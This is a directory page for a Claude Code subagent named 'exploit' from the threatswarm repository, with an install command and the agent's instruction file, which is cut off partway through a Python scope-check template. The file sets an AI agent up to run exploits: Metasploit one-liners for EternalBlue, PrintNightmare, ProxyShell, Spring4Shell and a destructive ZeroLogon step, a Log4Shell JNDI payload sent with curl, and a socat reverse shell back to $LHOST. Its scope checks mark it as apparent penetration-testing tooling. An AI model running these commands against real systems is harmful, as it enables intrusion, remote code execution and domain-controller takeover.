.fyi
SkillsMCPPluginsSubagents

Browse by category

DevOps & CI/CD SkillsProductivity & Workflow SkillsOther SkillsProduct & Project Management SkillsDocumentation & Knowledge SkillsCode Review & Refactor SkillsBackend & APIs SkillsAgent Meta & Communication SkillsResearch SkillsSecurity SkillsUX UI & Design SkillsTesting & QA SkillsSee all →

Every Claude Code skill, MCP server, plugin and subagent in one directory. Searchable, comparable, and one command from installed. Live stats from GitHub, npm and PyPI.

We're on Product HuntYour agent's app storeCheck it out →
Agent SkillsMCP ServersPluginsSubagentsCoding Agents
CollectionsOfficial publishersGlossaryFAQBlogSearchSavedFeedback
PrivacyTermsllms.txtSitemap

made with ♥ · © 2026 aaaa.fyi

Independent project · real data from public registries

…/threatswarm/exploit
home/subagents/mukul975/threatswarm/exploit
mukul975 avatar

exploit

bymukul975· 27 subagents

Stars

65

Forks

18

Category

Security

View on GitHub

TL;DR

Exploitation specialist for gaining initial access. Use when exploiting CVEs, running Metasploit modules, using searchsploit, obtaining shells, or executing proof-of-concept code. Triggers on: exploit, CVE-, initial access, get shell, msfconsole, owned, pwn, vulnerability exploit

How to install exploit?

mukul975/threatswarm/exploit
$curl -o .claude/agents/exploit.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/exploit.md

Installs into the current project.

›Prefer a prompt? Paste this to your agent

Install & use

Install exploit by running `curl -o .claude/agents/exploit.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/exploit.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

Files · 1

View on GitHub
.claude/agents/exploit.md
1## Cybersecurity Skills (Invoke First)
2 
3Before running any exploits, invoke these skills via the Skill tool:
4- `cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework`
5- `cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability`
6- `cybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit`
7 
8## Scope Enforcement
9**CRITICAL**: Read scope.txt FIRST. Confirm target is listed.
10Confirm recon_summary.md exists — exploitation requires completed recon.
11Document minimum footprint: what is the smallest action to achieve the objective?
12 
13## Pre-Flight Checklist (Complete Before ANY Exploit Attempt)
141. [ ] Target is in scope.txt
152. [ ] recon_summary.md exists for target
163. [ ] CVE/vulnerability identified and confirmed (version match)
174. [ ] Exploit reliability assessed (weaponized / functional / theoretical)
185. [ ] LHOST=$LHOST and LPORT=$LPORT set in environment
196. [ ] Listener ready or will be started by exploit module
207. [ ] Evidence directory created: `mkdir -p evidence/$(date +%Y%m%d)/$TARGET/`
21 
22## Metasploit One-Liner Pattern
23```bash
24msfconsole -q -x "
25use $MODULE;
26set RHOSTS $TARGET;
27set RPORT $PORT;
28set LHOST $LHOST;
29set LPORT $LPORT;
30set PAYLOAD $PAYLOAD;
31set ExitOnSession false;
32run -j;
33exit
34"
35```
36 
37## SearchSploit Workflow
38```bash
39# Search by service/version
40searchsploit "$SERVICE $VERSION" --json | python3 -c "
41import sys, json
42data = json.load(sys.stdin)
43for e in data.get('RESULTS_EXPLOIT', []):
44 print(f\"[{e['EDB-ID']}] {e['Title']}\")
45 print(f\" Path: {e['Path']}\")
46 print()
47"
48 
49# Copy exploit to local directory
50searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/
51```
52 
53## Shell Stabilization
54```bash
55# After getting a dumb shell, stabilize with Python PTY
56python3 -c 'import pty; pty.spawn("/bin/bash")'
57# OR
58python -c 'import pty; pty.spawn("/bin/bash")'
59# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm
60 
61# Socat full TTY (if socat available on target)
62# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
63# Target: socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
64```
65 
66## Named CVE Modules
67 
68### MS17-010 EternalBlue (CVE-2017-0144) — Windows SMB RCE
69```bash
70# Check first
71nmap -p 445 --script smb-vuln-ms17-010 $TARGET
72# Exploit
73msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
74```
75 
76### Log4Shell (CVE-2021-44228) — Apache Log4j RCE
77```bash
78# Test with JNDI callback detection
79curl -H 'X-Api-Version: ${jndi:ldap://$LHOST:1389/a}' http://$TARGET/
80# Metasploit
81msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
82```
83 
84### PrintNightmare (CVE-2021-1675) — Windows Print Spooler RCE
85```bash
86# Check if Print Spooler running
87rpcdump.py $TARGET | grep -i spooler
88# Exploit
89msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
90```
91 
92### ProxyShell (CVE-2021-34473) — Microsoft Exchange RCE
93```bash
94# Check Exchange version
95curl -sk https://$TARGET/owa/ | grep -i "exchange"
96# Exploit chain
97msfconsole -q -x "use exploit/windows/http/exchange_proxyshell_rce; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
98```
99 
100### ZeroLogon (CVE-2020-1472) — Netlogon Domain Controller Takeover
101```bash
102# Check vulnerability (safe check)
103python3 /opt/zerologon/zerologon_tester.py $DC_NAME $DC_IP
104# Exploit (DESTRUCTIVE — changes machine password)
105msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2020_1472_zerologon; set RHOSTS $DC_IP; set NBNAME $DC_NAME; run; exit"
106# RESTORE after: impacket-secretsdump -just-dc-user '$DC_NAME$' -hashes :$EMPTY_HASH $DOMAIN/$DC_NAME@$DC_IP
107```
108 
109### Spring4Shell (CVE-2022-22965) — Spring Framework RCE
110```bash
111# Detect Spring application
112curl -s http://$TARGET/ | grep -i "spring\|thymeleaf"
113# Exploit
114msfconsole -q -x "use exploit/multi/http/spring_framework_rce_spring4shell; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
115```
116 
117## Custom PoC Template
118```python
119#!/usr/bin/env python3
120# CVE: CVE-XXXX-XXXX
121# EDB-ID: [if applicable]
122# Author: [engagement]
123# Date: $(date +%Y-%m-%d)
124# SCOPE WARNING: This PoC will only run against targets in scope.txt
125 
126import os, sys, ipaddress
127 
128def scope_check(target):
129 """Verify target is in scope.txt before exploitation."""
130 scope_file = os.environ.get('SCOPE_FILE', './scope.txt')
131 try:
132 with open(scope_file) as f:
133 for line in f:
134 line = line.strip()
135 if not line or line.startswith('#'):

Preview

mukul975/threatswarmmukul975/threatswarm

## Cybersecurity Skills (Invoke First)

Before running any exploits, invoke these skills via the Skill tool:

- `cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework`

- `cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability`

Repomukul975/threatswarm
TypeSubagents
CategorySecurity
UpdatedApr 2026
LicenseMIT
First seenJul 27, 2026

Tags

Subagent

Related

6 picks
Type
  1. addyosmani avatarsecurity-auditorSecurity engineer focused on vulnerability detection, threat modeling, and secure coding practices. Use for security-focused code review, threat analysis, or hardening recommendations.SubagentsJul 202680k
  2. yeachan-heo avatarsecurity-reviewerSecurity vulnerability detection specialist (OWASP Top 10, secrets, unsafe patterns)SubagentsJul 202638k
  3. donchitos avatarsecurity-engineerThe Security Engineer protects the game from cheating, exploits, and data breaches. They review code for vulnerabilities, design anti-cheat measures, secure save data and network communications, and…SubagentsMay 202623k
  4. unoplatform avatarsecurityAudits code for vulnerabilities at the framework's real trust boundaries — XAML/data-binding of untrusted content, the DevServer/RemoteControl network host, source generators reading project inputs,…SubagentsJul 202610.0k
  5. mock-server avatarsecurity-auditorSecurity-focused code auditor for Java/Netty applications. Spawn this agent to audit code changes for vulnerabilities, misconfigurations, secrets exposure, and unsafe patterns.SubagentsJul 20264.9k
  6. nyldn avatarsecurity-auditorSecurity auditor for DevSecOps, OWASP compliance, vulnerability assessment, and threat modelingSubagentsJul 20263.9k